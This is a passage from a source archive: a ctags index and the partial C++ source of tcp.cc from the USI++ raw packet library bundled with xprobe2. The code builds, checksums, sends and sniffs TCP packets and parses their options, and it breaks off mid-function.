namespace:usipp get_hlen ip.cc /^u_int8_t IP::get_hlen()$/;" f namespace:usipp get_hwdst datalink.cc /^char *Pcap::get_hwdst(char *hwaddr, size_t len)$/;" f namespace:usipp get_hwsrc datalink.cc /^char *Pcap::get_hwsrc(char *hwaddr, size_t len)$/;" f namespace:usipp get_icmpId icmp.cc /^u_int16_t ICMP::get_icmpId()$/;" f namespace:usipp get_id ip.cc /^u_int16_t IP::get_id()$/;" f namespace:usipp get_len udp.cc /^u_int16_t UDP::get_len()$/;" f namespace:usipp get_mtu icmp.cc /^u_int16_t ICMP::get_mtu()$/;" f namespace:usipp get_off tcp.cc /^u_int8_t TCP::get_off()$/;" f namespace:usipp get_op arp.cc /^u_int16_t ARP::get_op() const$/;" f namespace:usipp get_proto ip.cc /^u_int8_t IP::get_proto()$/;" f namespace:usipp get_seq icmp.cc /^u_int16_t ICMP::get_seq()$/;" f namespace:usipp get_seq tcp.cc /^u_int32_t TCP::get_seq()$/;" f namespace:usipp get_sha arp.cc /^char *ARP::get_sha(char *hwaddr, size_t len) const$/;" f namespace:usipp get_spa arp.cc /^char *ARP::get_spa(int resolve, char *pa, size_t len) const$/;" f namespace:usipp get_src ip.cc /^char *IP::get_src(int resolv, char *s, size_t len)$/;" f namespace:usipp get_src ip.cc /^u_int32_t IP::get_src()$/;" f namespace:usipp get_srcport tcp.cc /^u_int16_t TCP::get_srcport()$/;" f namespace:usipp get_srcport udp.cc /^u_int16_t UDP::get_srcport()$/;" f namespace:usipp get_sum ip.cc /^u_int16_t IP::get_sum()$/;" f namespace:usipp get_tcpopt tcp.cc /^int TCP::get_tcpopt(char *buf)$/;" f namespace:usipp get_tcpsum tcp.cc /^u_int16_t TCP::get_tcpsum()$/;" f namespace:usipp get_tha arp.cc /^char *ARP::get_tha(char *hwaddr, size_t len) const$/;" f namespace:usipp get_tos ip.cc /^u_int8_t IP::get_tos()$/;" f namespace:usipp get_totlen ip.cc /^u_int16_t IP::get_totlen()$/;" f namespace:usipp get_tpa arp.cc /^char *ARP::get_tpa(int resolve, char *pa, size_t len) const$/;" f namespace:usipp get_ttl ip.cc /^u_int8_t IP::get_ttl()$/;" f namespace:usipp get_type icmp.cc /^u_int8_t ICMP::get_type()$/;" f namespace:usipp get_udpsum udp.cc /^u_int16_t UDP::get_udpsum()$/;" f namespace:usipp get_urg tcp.cc /^u_int16_t TCP::get_urg()$/;" f namespace:usipp get_vers ip.cc /^u_int8_t IP::get_vers()$/;" f namespace:usipp get_win tcp.cc /^u_int16_t TCP::get_win()$/;" f namespace:usipp has_promisc usi++/datalink.h /^ int has_promisc;$/;" m class:usipp::Pcap host usi++/ip.h /^ char host[1000];$/;" m class:usipp::IP icmphdr usi++/icmp.h /^ struct icmphdr icmphdr;$/;" m class:usipp::ICMP icmphdr usi++/usi-structs.h /^struct icmphdr {$/;" s namespace:usipp id usi++/usi-structs.h /^ int id; \/\/ the IP id-filed$/;" m struct:usipp::fragments id usi++/usi-structs.h /^ u_int16_t id;$/;" m struct:usipp::icmphdr:::: id usi++/usi-structs.h /^ u_int16_t id;$/;" m struct:usipp::iphdr if_index usi++/if.h /^ unsigned int if_index; \/* 1, 2, ... *\/$/;" m struct:if_nameindex if_name usi++/if.h /^ char *if_name; \/* null terminated name: "eth0", ... *\/$/;" m struct:if_nameindex if_nameindex usi++/if.h /^struct if_nameindex$/;" s ifa_addr usi++/if.h /^ struct sockaddr ifa_addr; \/* Address of interface. *\/$/;" m struct:ifaddr ifa_broadaddr usi++/if.h 84;" d ifa_dstaddr usi++/if.h 85;" d ifa_ifp usi++/if.h /^ struct iface *ifa_ifp; \/* Back-pointer to interface. *\/$/;" m struct:ifaddr ifa_ifu usi++/if.h /^ } ifa_ifu;$/;" m struct:ifaddr ifa_next usi++/if.h /^ struct ifaddr *ifa_next; \/* Next address for interface. *\/$/;" m struct:ifaddr ifaddr usi++/if.h /^struct ifaddr$/;" s ifc_buf usi++/if.h 165;" d ifc_ifcu usi++/if.h /^ } ifc_ifcu;$/;" m struct:ifconf ifc_len usi++/if.h /^ int ifc_len; \/* Size of buffer. *\/$/;" m struct:ifconf ifc_req usi++/if.h 166;" d ifconf usi++/if.h /^struct ifconf$/;" s ifcu_buf usi++/if.h /^ __caddr_t ifcu_buf;$/;" m union:ifconf:: ifcu_req usi++/if.h /^ struct ifreq *ifcu_req;$/;" m union:ifconf:: ifmap usi++/if.h /^struct ifmap$/;" s ifr_addr usi++/if.h 137;" d ifr_bandwidth usi++/if.h 148;" d ifr_broadaddr usi++/if.h 139;" d ifr_data usi++/if.h 146;" d ifr_dstaddr usi++/if.h 138;" d ifr_flags usi++/if.h 141;" d ifr_hwaddr usi++/if.h 136;" d ifr_ifindex usi++/if.h 147;" d ifr_ifrn usi++/if.h /^ } ifr_ifrn;$/;" m struct:ifreq ifr_ifru usi++/if.h /^ } ifr_ifru;$/;" m struct:ifreq ifr_map usi++/if.h 144;" d ifr_metric usi++/if.h 142;" d ifr_mtu usi++/if.h 143;" d ifr_name usi++/if.h 135;" d ifr_netmask usi++/if.h 140;" d ifr_qlen usi++/if.h 149;" d ifr_slave usi++/if.h 145;" d ifreq usi++/if.h /^struct ifreq$/;" s ifrn_name usi++/if.h /^ char ifrn_name[IFNAMSIZ]; \/* Interface name, e.g. "en0". *\/$/;" m union:ifreq:: ifru_addr usi++/if.h /^ struct sockaddr ifru_addr;$/;" m union:ifreq:: ifru_broadaddr usi++/if.h /^ struct sockaddr ifru_broadaddr;$/;" m union:ifreq:: ifru_data usi++/if.h /^ __caddr_t ifru_data;$/;" m union:ifreq:: ifru_dstaddr usi++/if.h /^ struct sockaddr ifru_dstaddr;$/;" m union:ifreq:: ifru_flags usi++/if.h /^ short int ifru_flags;$/;" m union:ifreq:: ifru_hwaddr usi++/if.h /^ struct sockaddr ifru_hwaddr;$/;" m union:ifreq:: ifru_ivalue usi++/if.h /^ int ifru_ivalue;$/;" m union:ifreq:: ifru_map usi++/if.h /^ struct ifmap ifru_map;$/;" m union:ifreq:: ifru_mtu usi++/if.h /^ int ifru_mtu;$/;" m union:ifreq:: ifru_netmask usi++/if.h /^ struct sockaddr ifru_netmask;$/;" m union:ifreq:: ifru_slave usi++/if.h /^ char ifru_slave[IFNAMSIZ]; \/* Just fits the size *\/$/;" m union:ifreq:: ifu_broadaddr usi++/if.h /^ struct sockaddr ifu_broadaddr;$/;" m union:ifaddr:: ifu_dstaddr usi++/if.h /^ struct sockaddr ifu_dstaddr;$/;" m union:ifaddr:: ihl usi++/usi-structs.h /^ u_int32_t ihl:4;$/;" m struct:usipp::iphdr in_cksum misc.cc /^in_cksum (unsigned short *ptr, int nbytes)$/;" f namespace:usipp init_device Layer2.cc /^int Layer2::init_device(char *dev, int p, size_t snaplen)$/;" f namespace:usipp init_device arp.cc /^int ARP::init_device(char *dev, int p, size_t len)$/;" f namespace:usipp init_device datalink.cc /^int Pcap::init_device(char *dev, int promisc, size_t snaplen)$/;" f namespace:usipp init_device icmp.cc /^int ICMP::init_device(char *dev, int promisc, size_t snaplen)$/;" f namespace:usipp init_device ip.cc /^int IP::init_device(char *dev, int promisc, size_t snaplen)$/;" f namespace:usipp init_device tcp.cc /^int TCP::init_device(char *dev, int promisc, size_t snaplen)$/;" f namespace:usipp init_device udp.cc /^int UDP::init_device(char *dev, int promisc, size_t snaplen)$/;" f namespace:usipp ipOptions usi++/ip.h /^ char ipOptions[40];$/;" m class:usipp::IP iph usi++/ip.h /^ struct iphdr iph;$/;" m class:usipp::IP iphdr usi++/usi-structs.h /^struct iphdr$/;" s namespace:usipp irq usi++/if.h /^ unsigned char irq;$/;" m struct:ifmap len usi++/usi-structs.h /^ int len; \/\/ how much data received yet?$/;" m struct:usipp::fragments len usi++/usi-structs.h /^ u_int16_t len;$/;" m struct:usipp::udphdr len usi++/usi-structs.h /^ u_int16_t len;$/;" m struct:usipp::pseudohdr localnet usi++/datalink.h /^ bpf_u_int32 localnet, netmask;$/;" m class:usipp::Pcap mem_end usi++/if.h /^ unsigned long int mem_end;$/;" m struct:ifmap mem_start usi++/if.h /^ unsigned long int mem_start;$/;" m struct:ifmap mtu usi++/usi-structs.h /^ u_int16_t mtu;$/;" m struct:usipp::icmphdr:::: netmask usi++/datalink.h /^ bpf_u_int32 localnet, netmask;$/;" m class:usipp::Pcap one_byte usi++/usi-structs.h /^ char one_byte; \/\/ kind: 3$/;" m union:usipp::tcp_options one_word usi++/usi-structs.h /^ u_int16_t one_word; \/\/ kind: 2$/;" m union:usipp::tcp_options operator = datalink.cc /^Pcap &Pcap::operator=(const Pcap &rhs)$/;" f namespace:usipp operator = icmp.cc /^ICMP &ICMP::operator=(const ICMP &rhs)$/;" f namespace:usipp operator = ip.cc /^IP& IP::operator=(const IP &rhs)$/;" f namespace:usipp operator = tcp.cc /^TCP &TCP::operator=(const TCP &rhs)$/;" f namespace:usipp operator = udp.cc /^UDP &UDP::operator=(const UDP &rhs)$/;" f namespace:usipp origLen usi++/usi-structs.h /^ int origLen; \/\/ and how much has it to be?$/;" m struct:usipp::fragments pd usi++/datalink.h /^ pcap_t *pd;$/;" m class:usipp::Pcap phdr usi++/datalink.h /^ struct pcap_pkthdr phdr;$/;" m class:usipp::Pcap port usi++/if.h /^ unsigned char port;$/;" m struct:ifmap proto usi++/usi-structs.h /^ u_int8_t proto;$/;" m struct:usipp::pseudohdr protocol usi++/usi-structs.h /^ u_int8_t protocol;$/;" m struct:usipp::iphdr pseudo usi++/tcp.h /^ struct pseudohdr pseudo;$/;" m class:usipp::TCP pseudo usi++/udp.h /^ struct pseudohdr pseudo;$/;" m class:usipp::UDP pseudohdr usi++/usi-structs.h /^struct pseudohdr {$/;" s namespace:usipp rawfd usi++/TX_IP.h /^ int rawfd;$/;" m class:usipp::TX_IP reassemble ip.cc /^char *IP::reassemble(char *packet, int len, int *resultLen)$/;" f namespace:usipp register_rx usi++/Layer2.h /^ RX *register_rx(RX *r) { RX *ret = rx; rx = r; return ret; }$/;" f class:usipp::Layer2 register_tx usi++/Layer2.h /^ TX *register_tx(TX *t) { TX *r = tx; tx = t; return r; }$/;" f class:usipp::Layer2 reset_tcpopt tcp.cc /^int TCP::reset_tcpopt()$/;" f namespace:usipp rx usi++/Layer2.h /^ RX *rx; \/\/ for receiving$/;" m class:usipp::Layer2 saddr usi++/ip.h /^ struct sockaddr_in saddr;$/;" m class:usipp::IP saddr usi++/usi-structs.h /^ u_int32_t saddr;$/;" m struct:usipp::pseudohdr saddr usi++/usi-structs.h /^ u_int32_t saddr;$/;" m struct:usipp::iphdr sendpack Layer2.cc /^int Layer2::sendpack(void *buf, size_t len, struct sockaddr *s)$/;" f namespace:usipp sendpack TX_IP.cc /^int TX_IP::sendpack(void *buf, size_t len, struct sockaddr *s)$/;" f namespace:usipp sendpack icmp.cc /^int ICMP::sendpack(char *payload)$/;" f namespace:usipp sendpack icmp.cc /^int ICMP::sendpack(void *payload, size_t paylen)$/;" f namespace:usipp sendpack ip.cc /^int IP::sendpack(char *payload)$/;" f namespace:usipp sendpack ip.cc /^int IP::sendpack(void *payload, size_t paylen)$/;" f namespace:usipp sendpack tcp.cc /^int TCP::sendpack(char *s)$/;" f namespace:usipp sendpack tcp.cc /^int TCP::sendpack(void *buf, size_t paylen)$/;" f namespace:usipp sendpack udp.cc /^int UDP::sendpack(char *s)$/;" f namespace:usipp sendpack udp.cc /^int UDP::sendpack(void *buf, size_t paylen)$/;" f namespace:usipp sequence usi++/usi-structs.h /^ u_int16_t sequence;$/;" m struct:usipp::icmphdr:::: set_ack tcp.cc /^int TCP::set_ack(u_int32_t a)$/;" f namespace:usipp set_code icmp.cc /^int ICMP::set_code(u_int8_t c)$/;" f namespace:usipp set_dst ip.cc /^int IP::set_dst(const char* host)$/;" f namespace:usipp set_dst ip.cc /^int IP::set_dst(u_int32_t d)$/;" f namespace:usipp set_dstport tcp.cc /^int TCP::set_dstport(u_int16_t dp)$/;" f namespace:usipp set_dstport udp.cc /^int UDP::set_dstport(u_int16_t dp)$/;" f namespace:usipp set_flags tcp.cc /^int TCP::set_flags(u_int8_t f)$/;" f namespace:usipp set_fragoff ip.cc /^int IP::set_fragoff(u_int16_t f)$/;" f namespace:usipp set_gateway icmp.cc /^int ICMP::set_gateway(u_int32_t g)$/;" f namespace:usipp set_hlen ip.cc /^int IP::set_hlen(u_int8_t l)$/;" f namespace:usipp set_icmpId icmp.cc /^int ICMP::set_icmpId(u_int16_t id)$/;" f namespace:usipp set_id ip.cc /^int IP::set_id(u_int16_t id)$/;" f namespace:usipp set_len udp.cc /^int UDP::set_len(u_int16_t l)$/;" f namespace:usipp set_mtu icmp.cc /^int ICMP::set_mtu(u_int16_t mtu)$/;" f namespace:usipp set_off tcp.cc /^int TCP::set_off(u_int8_t o)$/;" f namespace:usipp set_proto ip.cc /^int IP::set_proto(u_int8_t p)$/;" f namespace:usipp set_seq icmp.cc /^int ICMP::set_seq(u_int16_t s)$/;" f namespace:usipp set_seq tcp.cc /^int TCP::set_seq(u_int32_t s)$/;" f namespace:usipp set_src ip.cc /^int IP::set_src(const char* host)$/;" f namespace:usipp set_src ip.cc /^int IP::set_src(u_int32_t s)$/;" f namespace:usipp set_srcport tcp.cc /^int TCP::set_srcport(u_int16_t sp)$/;" f namespace:usipp set_srcport udp.cc /^int UDP::set_srcport(u_int16_t sp)$/;" f namespace:usipp set_sum ip.cc /^int IP::set_sum(u_int16_t s)$/;" f namespace:usipp set_tcpopt tcp.cc /^int TCP::set_tcpopt(char kind, unsigned char len, union tcp_options to)$/;" f namespace:usipp set_tcpsum tcp.cc /^int TCP::set_tcpsum(u_int16_t s)$/;" f namespace:usipp set_tos ip.cc /^int IP::set_tos(u_int8_t tos)$/;" f namespace:usipp set_totlen ip.cc /^int IP::set_totlen(u_int16_t t)$/;" f namespace:usipp set_ttl ip.cc /^int IP::set_ttl(u_int8_t ttl)$/;" f namespace:usipp set_type icmp.cc /^int ICMP::set_type(u_int8_t t)$/;" f namespace:usipp set_udpsum udp.cc /^int UDP::set_udpsum(u_int16_t s)$/;" f namespace:usipp set_urg tcp.cc /^int TCP::set_urg(u_int16_t u)$/;" f namespace:usipp set_vers ip.cc /^int IP::set_vers(u_int8_t v)$/;" f namespace:usipp set_win tcp.cc /^int TCP::set_win(u_int16_t w)$/;" f namespace:usipp setfilter Layer2.cc /^int Layer2::setfilter(char *fstring)$/;" f namespace:usipp setfilter arp.cc /^int ARP::setfilter(char *s)$/;" f namespace:usipp setfilter datalink.cc /^int Pcap::setfilter(char *s)$/;" f namespace:usipp snaplen usi++/datalink.h /^ size_t framelen, snaplen;$/;" m class:usipp::Pcap sniffpack Layer2.cc /^int Layer2::sniffpack(void *buf, size_t len)$/;" f namespace:usipp sniffpack arp.cc /^int ARP::sniffpack()$/;" f namespace:usipp sniffpack datalink.cc /^int Pcap::sniffpack(void *s, size_t len)$/;" f namespace:usipp sniffpack icmp.cc /^int ICMP::sniffpack(void *s, size_t len)$/;" f namespace:usipp sniffpack ip.cc /^int IP::sniffpack(void *buf, size_t len)$/;" f namespace:usipp sniffpack tcp.cc /^int TCP::sniffpack(void *buf, size_t len)$/;" f namespace:usipp sniffpack udp.cc /^int UDP::sniffpack(void *buf, size_t len)$/;" f namespace:usipp source usi++/usi-structs.h /^ u_int16_t source;$/;" m struct:usipp::udphdr sum usi++/usi-structs.h /^ u_int16_t sum;$/;" m struct:usipp::icmphdr tcpOptions usi++/tcp.h /^ char tcpOptions[40];$/;" m class:usipp::TCP tcp_options usi++/usi-structs.h /^union tcp_options {$/;" u namespace:usipp tcph usi++/tcp.h /^ struct tcphdr tcph;$/;" m class:usipp::TCP tcphdr usi++/usi-structs.h /^struct tcphdr$/;" s namespace:usipp th_ack usi++/usi-structs.h /^ u_int32_t th_ack; \/\/ acknowledgement number$/;" m struct:usipp::tcphdr th_dport usi++/usi-structs.h /^ u_int16_t th_dport; \/\/ destination port $/;" m struct:usipp::tcphdr th_flags usi++/usi-structs.h /^ u_int8_t th_flags;$/;" m struct:usipp::tcphdr th_off usi++/usi-structs.h /^ u_int8_t th_off:4; \/\/ data offset $/;" m struct:usipp::tcphdr th_off usi++/usi-structs.h /^ u_int8_t th_off:4; \/\/ data offset $/;" m struct:usipp::tcphdr th_seq usi++/usi-structs.h /^ u_int32_t th_seq; \/\/ sequence number $/;" m struct:usipp::tcphdr th_sport usi++/usi-structs.h /^ u_int16_t th_sport; \/\/ source port $/;" m struct:usipp::tcphdr th_sum usi++/usi-structs.h /^ u_int16_t th_sum; \/\/ checksum $/;" m struct:usipp::tcphdr th_urp usi++/usi-structs.h /^ u_int16_t th_urp; \/\/ urgent pointer $/;" m struct:usipp::tcphdr th_win usi++/usi-structs.h /^ u_int16_t th_win; \/\/ window $/;" m struct:usipp::tcphdr th_x2 usi++/usi-structs.h /^ u_int8_t th_x2:4; \/\/ (unused) $/;" m struct:usipp::tcphdr th_x2 usi++/usi-structs.h /^ u_int8_t th_x2:4; \/\/ (unused) $/;" m struct:usipp::tcphdr tos usi++/usi-structs.h /^ u_int8_t tos;$/;" m struct:usipp::iphdr tot_len usi++/usi-structs.h /^ u_int16_t tot_len;$/;" m struct:usipp::iphdr ttl usi++/usi-structs.h /^ u_int8_t ttl;$/;" m struct:usipp::iphdr two_dwords usi++/usi-structs.h /^ u_int32_t two_dwords[2]; \/\/ kind: 8 (timestamp)$/;" m union:usipp::tcp_options tx usi++/Layer2.h /^ TX *tx; \/\/ for transmitting data$/;" m class:usipp::Layer2 type usi++/usi-structs.h /^ u_int8_t type;$/;" m struct:usipp::icmphdr u_short misc.cc /^typedef u_int16_t u_short;$/;" t file: namespace:usipp udph usi++/udp.h /^ struct udphdr udph;$/;" m class:usipp::UDP udphdr usi++/usi-structs.h /^struct udphdr {$/;" s namespace:usipp un usi++/usi-structs.h /^ } un;$/;" m struct:usipp::icmphdr unknown usi++/usi-structs.h /^ char unknown[20]; \/\/ default$/;" m union:usipp::tcp_options unused usi++/usi-structs.h /^ u_int16_t unused;$/;" m struct:usipp::icmphdr:::: useException misc.cc /^int useException(bool how)$/;" f namespace:usipp userLen usi++/usi-structs.h /^ int userLen; \/\/ and how much did we saved?$/;" m struct:usipp::fragments usifault usi++/usi++.h /^ usifault(const char *s = "undef") : fault(s) {}$/;" f class:usipp::usifault usifault usi++/usi++.h /^class usifault {$/;" c namespace:usipp usipp Layer2.cc /^namespace usipp {$/;" n file: usipp TX_IP.cc /^namespace usipp {$/;" n file: usipp arp.cc /^namespace usipp {$/;" n file: usipp datalink.cc /^namespace usipp {$/;" n file: usipp icmp.cc /^namespace usipp {$/;" n file: usipp ip.cc /^namespace usipp {$/;" n file: usipp misc.cc /^namespace usipp {$/;" n file: usipp tcp.cc /^namespace usipp {$/;" n file: usipp udp.cc /^namespace usipp {$/;" n file: usipp usi++/Layer2.h /^namespace usipp {$/;" n usipp usi++/RX.h /^namespace usipp {$/;" n usipp usi++/TX.h /^namespace usipp {$/;" n usipp usi++/TX_IP.h /^namespace usipp {$/;" n usipp usi++/arp.h /^namespace usipp {$/;" n usipp usi++/datalink.h /^namespace usipp {$/;" n usipp usi++/icmp.h /^namespace usipp {$/;" n usipp usi++/ip.h /^namespace usipp {$/;" n usipp usi++/tcp.h /^namespace usipp {$/;" n usipp usi++/udp.h /^namespace usipp {$/;" n usipp usi++/usi++.h /^namespace usipp {$/;" n usipp usi++/usi-structs.h /^namespace usipp {$/;" n version usi++/usi-structs.h /^ u_int32_t version:4;$/;" m struct:usipp::iphdr why usi++/usi++.h /^ const char *why() { return fault.c_str(); }$/;" f class:usipp::usifault zero usi++/usi-structs.h /^ u_int8_t zero;$/;" m struct:usipp::pseudohdr ~ARP arp.cc /^ARP::~ARP()$/;" f namespace:usipp ~ICMP icmp.cc /^ICMP::~ICMP()$/;" f namespace:usipp ~IP ip.cc /^IP::~IP()$/;" f namespace:usipp ~Layer2 usi++/Layer2.h /^ virtual ~Layer2() {}$/;" f class:usipp::Layer2 ~Pcap datalink.cc /^Pcap::~Pcap()$/;" f namespace:usipp ~RX usi++/RX.h /^ virtual ~RX() {}$/;" f class:usipp::RX ~TCP tcp.cc /^TCP::~TCP()$/;" f namespace:usipp ~TX usi++/TX.h /^ virtual ~TX() {}$/;" f class:usipp::TX ~TX_IP usi++/TX_IP.h /^ virtual ~TX_IP() {}$/;" f class:usipp::TX_IP ~UDP udp.cc /^UDP::~UDP()$/;" f namespace:usipp ~usifault usi++/usi++.h /^ ~usifault() {}$/;" f class:usipp::usifault xprobe2-0.3/libs-external/USI++/src/tcp.cc000755 001751 000000 00000030574 10271643767 020437 0ustar00mederwheel000000 000000 /*** This Programs/Libraries are (C)opyright by Sebastian Krahmer. *** You may use it under the terms of the GPL. You should have *** already received the file COPYING that shows you your rights. If not, *** you can get it at http://www.cs.uni-potsdam.de/homepages/students/linuxer *** the logit-package. You will also find some other nice utillities there. *** *** THERE IS ABSOLUTELY NO WARRANTY. SO YOU USE IT AT YOUR OWN RISK. *** IT WAS WRITTEN IN THE HOPE THAT IT WILL BE USEFULL. I AM NOT RESPONSIBLE *** FOR ANY DAMAGE YOU MAYBE GET DUE TO USING MY PROGRAMS. ***/ #include "usi++/usi-structs.h" #include "usi++/tcp.h" #include #include #include namespace usipp { TCP::TCP(void): IP("0.0.0.0", IPPROTO_TCP) { return; } TCP::TCP(const char *host) #ifndef IPPROTO_TCP #define IPPROTO_TCP 6 #endif : IP(host, IPPROTO_TCP) { srand(time(NULL)); memset(&tcph, 0, sizeof(tcph)); memset(&pseudo, 0, sizeof(pseudo)); memset(tcpOptions, 0, sizeof(tcpOptions)); tcph.th_off = 5; opt_offset = 0; tcph.th_ack = rand(); tcph.th_seq = rand(); } /* Get the sourceport in human-readable form. */ u_int16_t TCP::get_srcport() const { return ntohs(tcph.th_sport); } TCP::~TCP() { } TCP::TCP(const TCP &rhs) : IP(rhs) { if (this == &rhs) return; tcph = rhs.tcph; memcpy(tcpOptions, rhs.tcpOptions, sizeof(tcpOptions)); pseudo = rhs.pseudo; } TCP &TCP::operator=(const TCP &rhs) { if (this == &rhs) return *this; IP::operator=(rhs); tcph = rhs.tcph; memcpy(tcpOptions, rhs.tcpOptions, sizeof(tcpOptions)); pseudo = rhs.pseudo; return *this; } /* Get the destinationport in human-readable form. */ u_int16_t TCP::get_dstport() const { return ntohs(tcph.th_dport); } /* Get TCP-sequencenumber */ u_int32_t TCP::get_seq() const { return ntohl(tcph.th_seq); } /* Get the actual achnkowledge-number from the TCP-header. */ u_int32_t TCP::get_ack() const { return ntohl(tcph.th_ack); } /* Get TCP data offset. */ u_int8_t TCP::get_off() const { return tcph.th_off; } /* Set TCP-flags */ u_int8_t TCP::get_flags() const { return tcph.th_flags; } u_int16_t TCP::get_win() const { return ntohs(tcph.th_win); } /* Get TCP-header checksum */ u_int16_t TCP::get_tcpsum() const { return tcph.th_sum; } u_int16_t TCP::get_urg() const { return ntohs(tcph.th_urp); } u_int32_t TCP::get_wscale() const { return wscale; } /* Set TCP sourceport */ int TCP::set_srcport(u_int16_t sp) { tcph.th_sport = htons(sp); return 0; } /* Set TCP destination port. */ int TCP::set_dstport(u_int16_t dp) { tcph.th_dport = htons(dp); return 0; } /* Set the sequencenumber-filed in the TCP-header. */ int TCP::set_seq(u_int32_t s) { tcph.th_seq = htonl(s); return 0; } /* Set the acknowledgenumber-filed in the TCP-header. * This is only monitored by the target-kernel, if TH_ACK * is set in the TCP-flags. */ int TCP::set_ack(u_int32_t a) { tcph.th_ack = htonl(a); return 0; } /* Set TCP data offset. */ int TCP::set_off(u_int8_t o) { tcph.th_off = o; return 0; } /* Set TCP-flags */ int TCP::set_flags(u_int8_t f) { tcph.th_flags = f; return 0; } int TCP::set_win(u_int16_t w) { tcph.th_win = htons(w); return 0; } /* Set TCP-checksum. Calling this function with s != 0 * will prevent sendpack from calculating the checksum!!! */ int TCP::set_tcpsum(u_int16_t s) { tcph.th_sum = s; return 0; } int TCP::set_urg(u_int16_t u) { tcph.th_urp = htons(u); return 0; } /* experimental */ tcphdr TCP::get_tcphdr() const { return tcph; } int TCP::set_tcphdr(struct tcphdr _tcph) { tcph = _tcph; return 0; } /* Send a TCP-packet */ int TCP::sendpack(void *buf, size_t paylen) { /* XXX: move to here from set_tcpopts() */ while (opt_offset % 4 && opt_offset < sizeof(tcpOptions)) tcpOptions[opt_offset++] = TCPOPT_NOP; tcph.th_off = ((opt_offset+sizeof(tcph))>>2); unsigned int len = paylen + (tcph.th_off<<2) + sizeof(pseudo); char *tmp = new char[len+1+20]; // +1 for padding if necessary memset(tmp, 0, len+1); // build a pseudoheader for IP-checksum, as // required per RFC 793 pseudo.saddr = get_src(); // sourceaddress pseudo.daddr = get_dst(); // destinationaddress pseudo.zero = 0; pseudo.proto = IPPROTO_TCP; pseudo.len = htons((tcph.th_off<<2) + paylen); // copy pseudohdr+header+data to buffer memcpy(tmp, &pseudo, sizeof(pseudo)); memcpy(tmp + sizeof(pseudo), &tcph, sizeof(tcph)); // options, might be 0-length if ((tcph.th_off<<2) > (int)sizeof(tcph)) memcpy(tmp + sizeof(pseudo) + sizeof(tcph), tcpOptions, (tcph.th_off<<2)-sizeof(tcph)); // data memcpy(tmp + sizeof(pseudo) + (tcph.th_off<<2), buf, paylen); // calc checksum over it struct tcphdr *t = (struct tcphdr*)(tmp + sizeof(pseudo)); if (tcph.th_sum == 0) { t->th_sum = in_cksum((unsigned short*)tmp, len, 1); tcph.th_sum = t->th_sum; } IP::sendpack(tmp + sizeof(pseudo), len - sizeof(pseudo)); delete [] tmp; return 0; } int TCP::sendpack(char *s) { return sendpack(s, strlen(s)); } /* Sniff a TCP-packet. */ int TCP::sniffpack(void *buf, size_t len) { size_t xlen = len + sizeof(tcph) + sizeof(tcpOptions); char *tmp = new char[xlen]; int r = 0; memset(tmp, 0, xlen); memset(buf, 0, len); memset(&tcph, 0, sizeof(tcph)); r = IP::sniffpack(tmp, xlen); if (r == 0 && Layer2::timeout()) { // timeout delete[] tmp; return 0; } // Copy TCP-header without options memcpy(&tcph, tmp, sizeof(tcph)); unsigned int tcplen = tcph.th_off<<2; if (tcplen > sizeof(tcph)) { opt_offset = tcplen - sizeof(tcph); if (opt_offset < sizeof(tcpOptions)) { memcpy(tcpOptions, tmp+sizeof(tcph), opt_offset); } else { opt_offset = 0; } } if (buf) memcpy(buf, tmp + tcplen, len); delete [] tmp; return r - tcplen; } /* Initialize a device ("eth0" for example) for packet- * capturing. It MUST be called before sniffpack() is launched. * Set 'promisc' to 1 if you want the device running in promiscous mode. * Fetch at most 'snaplen' bytes per call. */ int TCP::init_device(char *dev, int promisc, size_t snaplen) { int r = Layer2::init_device(dev, promisc, snaplen); if (r < 0) die("TCP::init_device", STDERR, 1); r = Layer2::setfilter("tcp"); if (r < 0) die("TCP::init_device::setfilter", STDERR, 1); return r; } /* Implementation of TCP-options */ int TCP::set_tcpopt(char kind, unsigned char len, union tcp_options to) { //int mss; // calculate end of option-list /* XXX meder: we move padding and th_off calculation to * sendpack() since we want to be able to construct * any options, in any order. * also added TCPOPT_SACK_PERMITTED */ //int opt_offset = (tcph.th_off<<2) - sizeof(tcph); if (opt_offset < 0 || opt_offset >= (int)sizeof(tcpOptions)) return -1; tcpOptions[opt_offset++] = kind; if (kind > 1) tcpOptions[opt_offset++] = len; switch (kind) { case TCPOPT_SACK_PERMITTED: case TCPOPT_EOL: case TCPOPT_NOP: break; case TCPOPT_MAXSEG: *((short*)&tcpOptions[opt_offset]) = htons(to.one_word); opt_offset += sizeof(short); break; case TCPOPT_WINDOW: tcpOptions[opt_offset++] = to.one_byte; break; case TCPOPT_TIMESTAMP: // XXX: htonl() ? *((int*)&tcpOptions[opt_offset]) = htonl(to.two_dwords[0]); opt_offset += sizeof(int); *((int*)&tcpOptions[opt_offset]) = htonl(to.two_dwords[1]); opt_offset += sizeof(int); break; // if unknown, just copy len bytes to optionbuffer // this could be used for generic usage default: int xl = len < sizeof(tcpOptions)-opt_offset?len:sizeof(tcpOptions)-opt_offset; memcpy(&tcpOptions[opt_offset], to.unknown, xl); opt_offset += xl; break; } // switch //opt_offset--; // padding for align of 4 /* * XXX: moved to sendpack() * while (opt_offset % 4) tcpOptions[opt_offset++] = TCPOPT_NOP; opt_offset += sizeof(tcph); tcph.th_off = (opt_offset>>2); */ return 0; } // we assume a buffer of at least 40 bytes int TCP::get_tcpopt(char *buf) { memcpy(buf, tcpOptions, 40); return tcph.th_off<<2; } int TCP::set_tcpopt(char *buf, unsigned int len) { opt_offset = sizeof(tcpOptions) < len ? sizeof(tcpOptions) : len; memset(tcpOptions, 0, sizeof(tcpOptions)); memcpy(tcpOptions, buf, opt_offset); return 0; } int TCP::reset_tcpopt() { /* XXX: changed here also */ tcph.th_off = 5; opt_offset = 0; memset(tcpOptions, 0, sizeof(tcpOptions)); return 0; } //bool TCP::operator==(const TCP &left, const TCP &right) { // return equals_operator(left, right); //} /* bool TCP::equals_operator(const TCP &left, const TCP &right); return (left.get_flags() == right.get_flags() && left.get_win() == right.get_win() && left.get_off() == right.get_off() && left.get_urg() == right.get_urg()); } */ int TCP::get_parsed_tcpopt(char *opt_order, unsigned int buflen) const { unsigned int lenparsed, optlen= 0, k=0; // Parse TCP options, like OpenBSD does in /sys/netinet/tcp_input.c memset(opt_order, 0, buflen); for (lenparsed = 0; lenparsed < opt_offset; lenparsed += optlen) { if (tcpOptions[lenparsed] == TCPOPT_NOP) { optlen=1; if (k < buflen) opt_order[k++]='N'; continue; } else if (tcpOptions[lenparsed] == TCPOPT_EOL) { if (opt_offset - lenparsed > 1) // something fucked up, we have end of list // but we are not done yet return 0; } else { // avoid evil packets that only have // option w/o lenght if (lenparsed + 1 < opt_offset) optlen = 